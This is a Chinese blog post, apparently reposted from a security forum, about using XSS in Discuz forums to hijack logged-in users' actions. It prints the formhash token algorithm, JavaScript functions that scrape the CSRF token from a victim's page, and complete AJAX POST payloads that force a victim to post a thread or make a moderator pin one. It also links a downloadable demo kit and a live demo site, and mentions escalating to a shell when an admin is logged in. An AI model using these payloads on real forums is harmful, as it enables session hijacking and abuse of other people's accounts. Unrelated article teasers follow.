Discuz xss劫持发帖,置顶帖子等

貌似zone里面有个discuz 如何post 发帖的帖子 http://www.wooyun.org/bugs/wooyun-2010-015312

正好看到个dz xss案例  就研究了下

熟悉discuz的都知道,formhash是一种类似验证码的东西,用来防止从我们网站外部提交数据,但不需要我们手动输入,它在页面打开时就已经生成了,存在一需要提交数据用到的地方的隐藏input里(比如登录、发布文章)。

我们来看看这货的生成算法

1function formhash($specialadd = '') {  2    global $_G;  3    $hashadd = defined('IN_ADMINCP') ? 'Only For Discuz! Admin Control Panel' : ''; 4    return substr(md5(substr($_G['timestamp'], 0, -7).$_G 5    ['username'].$_G['uid'].$_G['authkey'].$hashadd.$specialadd), 8, 8); 6}

时间戳前3位,大概是 100多天的样子,也就是说这货对于同一人来说 100 天内是不变的.

即可简单获取目标的formhash(算法比较傻逼=.=)

1function getHash() { 2    for(var i=0; i<document.links.length; i++) { 3        if(document.links[i].href.indexOf("action=logout&formhash=")>0) { 4            hash=document.links[i].href; 5            hash=hash.substr(hash.length-8,hash.length); 6            break; 7        } 8    } 9}

补充:0x_Jin 给出的另一种获取代码

1function hash(){ 2    var links=document.links,forms=document.forms; 3    for(in links){ 4        var ref=links[i].href||''; 5        if(ref.indexOf('action=logout&formhash=')>0){ 6            return ref.substr(ref.length-8,ref.length); 7        } 8    } 9    for(in forms){ 10        if(forms[f].formhash){ 11            return forms[f].formhash.value; 12        } 13    } 14}

接下来的事情就简单了 只要抓取各种包 加上formhash 即可中出

例如 (使用了一个兼容的ajax库  详见附件)

劫持发帖

1x.post("forum.php?mod=post&action=newthread&fid 2=2&extra=&topicsubmit=yes","formhash="+hash+"&posttime= 31353989838&wysiwyg=1&subject=title&message= 4aaaaaaaaaaaaaaaa%0D%0A&replycredit_extcredits=0&re 5plycredit_times=1&replycredit_membertimes=1&replycredit_random=10 60&readperm=&price=&tags=test&rushreplyfrom=&rushreplyto=&rewardflo 7or=&stopfloor=&creditlimit=&save=&adddynamic=true&usesig=1&allownoticeauthor=1");

置顶指定帖子

1x.post("forum.php?mod=topicadmin&action=moderate&optgroup=1&modsubmi 2t=yes&infloat=yes&inajax=1","frommodcp=&formhash="+hash+"&fid=2&red 3irect=&listextra=page%3D1&handlekey=mods&moderate[]=12&operations[]= 4stick&sticklevel=3&expirationstick=&digestlevel=0&expirationdigest=& 5highlight_color=0&highlight_style[1]=0&highlight_style 6[2]=0&highlight_style[3]=0&expirationhighlight=&reason=");

演示视频:http://v.youku.com/v_show/id_XNDg0NDg2MjU2.html

高清无码:http://pan.baidu.com/share/link?shareid=136314&uk=587894688

附件下载:http://yaseng.me/wp-content/uploads/2012/12/Csrf-hijacking-admin-demo.rar

演示网址:www.zqgd18.com

ps1:zone里面可能排版不太好 有性趣下载附件吧

ps2:其余动作读者可以抓包自行测试之

ps3:如果管理员同时登陆了后台还可以权限提升或者直接getshell

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

2020年前端实用代码段,为你的工作保驾护航

有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )